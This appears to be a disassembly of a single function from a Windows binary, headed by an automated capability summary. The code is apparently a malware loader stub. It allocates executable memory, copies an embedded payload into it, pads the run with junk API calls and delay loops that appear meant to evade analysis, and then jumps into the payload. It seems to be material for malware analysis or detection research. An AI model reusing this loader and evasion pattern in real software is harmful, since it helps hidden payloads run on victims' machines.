Function at 0x404d10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x404d3a
inc esi
cmp esi, 0x73f04bd
jl 0x404d26
cmp dword [0x494b04], 0x400
jne 0x404d96
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push ebx
push ebx
call fcn.004054c9
push ebx
push ebx
push ebx
call fcn.00405a24
add esp, 0x14
push ebx
call fcn.00405b20
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004053a0
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405880
fstp st(0)
add esp, 8
cmp dword [0x494b04], 0x93
jne 0x404df2
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x40487c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00405629
push ebx
call fcn.00405608
add esp, 0xc
push ebx
call fcn.0040561e
add esp, 4
call fcn.00404d00
push ebx
push ebx
call fcn.0040585c
add esp, 8
mov eax, dword [0x494b04]
mov ecx, dword [0x48fc84]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x495940], ecx
mov dword [0x494b04], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x494594], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404e26
cmp dword [0x494b04], ebx
jbe 0x404ec2
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
lea esp, [esp]
mov edx, dword [0x495940]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x494594]
mov byte [ecx + esi], al
cmp dword [0x494b04], 0x490
jne 0x404eb9
push 0
lea edx, [ebp - 4]
push edx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x404898
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
inc esi
cmp esi, dword [0x494b04]
jb 0x404e50
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov edx, dword [0x494b04]
add edx, esi
cmp edx, 0x8d
jne 0x404f0a
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x4048f0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x404ed0
call fcn.00404c30
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404f2c
call ebx
cmp esi, 0x207142
jg 0x404f3d
inc esi
cmp esi, 0x67d12
jl 0x404f22
xor esi, esi
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404f5e
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov edx, dword [ebp - 4]
add dword [0x494594], edx
inc esi
cmp esi, 0x674bd
jl 0x404f40
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 4], 0x7b
cmp dword [0x494b04], 0x86
jne 0x404fbb
push 0x40491c
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call edi
push 0x40492c
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x494b04], 0xf
jne 0x404fce
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 4], 1
jne 0x404f80
push 0x40494c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x494594]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret